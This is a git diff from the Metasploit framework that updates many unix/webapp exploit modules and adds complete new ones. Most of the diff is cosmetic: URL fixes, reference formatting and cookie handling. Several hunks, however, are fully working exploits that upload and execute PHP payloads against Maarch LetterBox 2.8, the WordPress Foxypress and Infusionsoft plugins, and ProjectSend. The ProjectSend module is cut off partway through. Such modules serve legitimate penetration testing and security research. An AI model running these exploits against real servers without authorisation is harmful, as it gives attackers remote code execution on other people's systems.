## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,8 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['EDB' => '25606'], - ['OSVDB' => '93547'], + ['EDB', '25606'], + ['OSVDB', '93547'], ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index 81ec7cc60e..8030e347cc 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb new file mode 100644 index 0000000000..1df0174ef3 --- /dev/null +++ b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'uri' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of + session and file validation in the file_to_index.php script. It allows unauthenticated + users to upload files of any type and subsequently execute PHP scripts in the context of + the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Rob Carr <rob[at]rastating.com>' + ], + 'References' => + [ + ['CVE', '2015-1587'] + ], + 'DisclosureDate' => 'Feb 11 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Maarch LetterBox 2.8', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/']) + ], self.class) + end + + def letterbox_login_url + normalize_uri(target_uri.path, 'login.php') + end + + def letterbox_upload_url + normalize_uri(target_uri.path, 'file_to_index.php') + end + + def check + res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url) + if res.nil? || res.code != 200 + return Msf::Exploit::CheckCode::Unknown + elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"') + return Msf::Exploit::CheckCode::Appears + end + + Msf::Exploit::CheckCode::Safe + end + + def generate_mime_message(payload, name) + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"") + data + end + + def exploit + print_status("#{peer} - Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + data = generate_mime_message(payload, payload_name) + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => letterbox_upload_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + + print_status("#{peer} - Parsing server response...") + captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil? + payload_url = normalize_uri(target_uri.path, captures[0]) + print_good("#{peer} - Response parsed successfully") + + print_status("#{peer} - Executing the payload at #{payload_url}") + register_files_for_cleanup(File.basename(URI.parse(payload_url).path)) + send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + end +end diff --git a/modules/exploits/unix/webapp/mambo_cache_lite.rb b/modules/exploits/unix/webapp/mambo_cache_lite.rb index dfa5482207..ad270f3590 100644 --- a/modules/exploits/unix/webapp/mambo_cache_lite.rb +++ b/modules/exploits/unix/webapp/mambo_cache_lite.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index 5c8242500d..5c00daddd4 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index f3eb502bdd..1f0f109a81 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 913641b07b..2d2f2cdb36 100644 --- a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 4bba1a2ef0..db25a970a2 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Exploit::Remote Nagios3 history.cgi script. }, 'Author' => [ - 'Unknown <temp66@gmail.com>', # Original finding - 'blasty <blasty@fail0verflow.com>', # First working exploit - 'Jose Selvi <jselvi@pentester.es>', # Metasploit module + 'Unknown <temp66[at]gmail.com>', # Original finding + 'blasty <blasty[at]fail0verflow.com>', # First working exploit + 'Jose Selvi <jselvi[at]pentester.es>', # Metasploit module 'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb index f4f6b3892b..d018850f22 100644 --- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb +++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 0295f0f7db..5b74e603e8 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote return '' if !res nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || '' - cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || '' + cookie = res.get_cookies.scan(/nagiosxi=(\w+); /).flatten[0] || '' return nsp, cookie end diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 3672d2fb00..20460bc801 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index 0669cfdd87..f8b6b04ba6 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,13 @@ class Metasploit3 < Msf::Exploit::Remote ['BID', '37314'], ['CVE', '2009-4140'], ['OSVDB', '59051'], - ['EDB', '10532'] + ['EDB', '10532'], + ['WPVDB', '6787'], + ['WPVDB', '6788'], + ['WPVDB', '6789'], + ['WPVDB', '6790'], + ['WPVDB', '6791'], + ['WPVDB', '6792'] ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index a795414f59..5672d926bd 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/ + if res && res.code == 200 and res.get_cookies =~ /OpenEMR=([a-zA-Z0-9]+)/ session = $1 print_status("#{rhost}:#{rport} - Login successful") print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]") diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb index 243b6b31ff..6a25429929 100644 --- a/modules/exploits/unix/webapp/openemr_upload_exec.rb +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 5e24801888..0817c8863f 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb index 7183b0f5be..d271d446fa 100644 --- a/modules/exploits/unix/webapp/openview_connectednodes_exec.rb +++ b/modules/exploits/unix/webapp/openview_connectednodes_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index a0eac8db57..e2f0b08e04 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 2384bf51ca..c9afc417e0 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -122,7 +122,7 @@ EOS end print_error("Encountered unexpected #{res.code} response:") - print_error(res.inspect) + print_error(res.to_s) return nil end diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 7d1bb9b0cd..6a1540b327 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/pajax_remote_exec.rb b/modules/exploits/unix/webapp/pajax_remote_exec.rb index 23cf5bb0a1..d53edeb6e2 100644 --- a/modules/exploits/unix/webapp/pajax_remote_exec.rb +++ b/modules/exploits/unix/webapp/pajax_remote_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index eb1393d33a..7089e5a75e 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb index b39281daca..4c57758421 100644 --- a/modules/exploits/unix/webapp/php_eval.rb +++ b/modules/exploits/unix/webapp/php_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb index cdb3f7c30a..164b9b2f49 100644 --- a/modules/exploits/unix/webapp/php_include.rb +++ b/modules/exploits/unix/webapp/php_include.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb index 48cc0d0735..9552328f3d 100644 --- a/modules/exploits/unix/webapp/php_vbulletin_template.rb +++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index e769b8c993..a9b69c9d03 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,17 +8,19 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, + super(update_info( + info, 'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution', - 'Description' => %q{ + 'Description' => %q( This module exploits an arbitrary PHP code execution flaw in the WordPress blogging software plugin known as Foxypress. The vulnerability allows for arbitrary file upload and remote code execution via the uploadify.php script. The Foxypress - plug-in versions 0.4.2.1 and below are vulnerable. - }, + plug-in versions 0.4.1.1 to 0.4.2.1 are vulnerable. + ), 'Author' => [ 'Sammy FORGIT', # Vulnerability Discovery, PoC @@ -28,78 +30,56 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['EDB', '18991'], - ['OSVDB', '82652'], + ['OSVDB' '82652'], ['BID', '53805'], + ['WPVDB', '6231'] ], 'Privileged' => false, - 'Payload' => - { - 'Compat' => - { - 'ConnectionType' => 'find', - }, - }, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], + 'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]], 'DisclosureDate' => 'Jun 05 2012', 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]), - ], self.class) end def check - uri = target_uri.path - - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") - }) + 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php') + ) - if res and res.code == 200 - return Exploit::CheckCode::Detected - else - return Exploit::CheckCode::Safe - end + return Exploit::CheckCode::Detected if res && res.code == 200 + + Exploit::CheckCode::Safe end def exploit - - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' - - peer = "#{rhost}:#{rport}" - post_data = Rex::MIME::Message.new - post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") + post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") print_status("#{peer} - Sending PHP payload") - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), - 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, + 'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s - }) + ) - if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ + if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ print_error("#{peer} - File wasn't uploaded, aborting!") return end - print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") - res = send_request_cgi({ + filename = "#{Regexp.last_match[1]}.php" + + print_good("#{peer} - Our payload is at: #{filename}. Calling payload...") + register_files_for_cleanup(filename) + res = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") - }) - - if res and res.code != 200 - print_error("#{peer} - Server returned #{res.code.to_s}") - end + 'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename) + ) + print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200 end - end diff --git a/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb new file mode 100644 index 0000000000..43daf72f9f --- /dev/null +++ b/modules/exploits/unix/webapp/php_wordpress_infusionsoft.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress InfusionSoft Upload Vulnerability', + 'Description' => %q{ + This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity + Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file + upload and remote code execution. + }, + 'Author' => + [ + 'g0blin', # Vulnerability Discovery + 'us3r777 <us3r777@n0b0.so>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-6446'], + ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'], + ['WPVDB', '7634'] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]], + 'DisclosureDate' => 'Sep 25 2014', + 'DefaultTarget' => 0) + ) + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php') + ) + + if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def exploit + php_pagename = rand_text_alpha(8 + rand(8)) + '.php' + res = send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', + 'Infusionsoft', 'utilities', 'code_generator.php'), + 'method' => 'POST', + 'vars_post' => + { + 'fileNamePattern' => php_pagename, + 'fileTemplate' => payload.encoded + } + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/ + print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") + register_files_for_cleanup(php_pagename) + else + fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}") + end + + print_status("#{peer} - Calling payload ...") + send_request_cgi({ + 'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', + 'Infusionsoft', 'utilities', php_pagename) + }, 2) + end + +end diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb index 3bf1ab9d2d..f807f9e58c 100644 --- a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb +++ b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,13 +20,14 @@ class Metasploit3 < Msf::Exploit::Remote option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected. }, - 'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ], + 'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2005-2612'], ['OSVDB', '18672'], ['BID', '14533'], + ['WPVDB', '6034'] ], 'Privileged' => false, 'Payload' => @@ -34,9 +35,9 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'ConnectionType' => 'find', + 'ConnectionType' => 'find' }, - 'Space' => 512, + 'Space' => 512 }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb index 3618ffe627..6c66725f32 100644 --- a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ] + [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ], + [ 'WPVDB', '7441' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb index d0ffa55992..d540fc4630 100644 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '92652' ], [ 'BID', '59316' ], [ 'URL', 'http://wordpress.org/support/topic/pwn3d' ], - [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ] + [ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ], + [ 'WPVDB', '6622' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb index 66933a0227..46b8dc47b7 100644 --- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb +++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index be06f6fcb9..14312a2f42 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 2ee3f4a4b5..9775cd9fb0 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote return end token = $1 - cookie = response["Set-Cookie"] + cookie = response.get_cookies # There is probably a great deal of randomization that can be done with # this format. diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 0bee0529ff..f00354ae63 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb new file mode 100644 index 0000000000..5a3da1f6fb --- /dev/null +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ProjectSend Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ProjectSend + revisions 100 to 561. The 'process-upload.php' file allows + unauthenticated users to upload PHP files resulting in remote + code execution as the web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Fady Mohammed Osman', # Discovery and Exploit + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + ['EDB', '35424'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on ProjectSend revisions 100, 157, 180, 250, 335, 405 and 561 on Apache (Ubuntu) + ['ProjectSend (PHP Payload)', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 02 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to ProjectSend', '/ProjectSend/']) + ], self.class) + end + + # + # Checks if target upload functionality is working + # + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'process-upload.php') + ) + if !res + vprint_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + elsif res.code.to_i == 404 + vprint_error("#{peer} - No process-upload.php found") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 500 + vprint_error("#{peer} - Unable to write file") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/ + vprint_error("#{peer} - File process-upload.php is not executable") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/ + vprint_error("#{peer} - Software is misconfigured") + return Exploit::CheckCode::Safe + elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/ + # response on revision 118 onwards includes the file name + if res.body && res.body =~ /NewFileName/ + return Exploit::CheckCode::Vulnerable + # response on revisions 100 to 117 does not include the file name + elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/ + return Exploit::CheckCode::Appears + elsif res.body && res.body =~ /Failed to open output stream/ + vprint_error("#{peer} - Upload folder is not writable") + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Detected + end + else + return Exploit::CheckCode::Safe + end + end + + # + # Upload PHP payload + # + def upload + fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" + php = "<?php #{payload.encoded} ?>" + data = 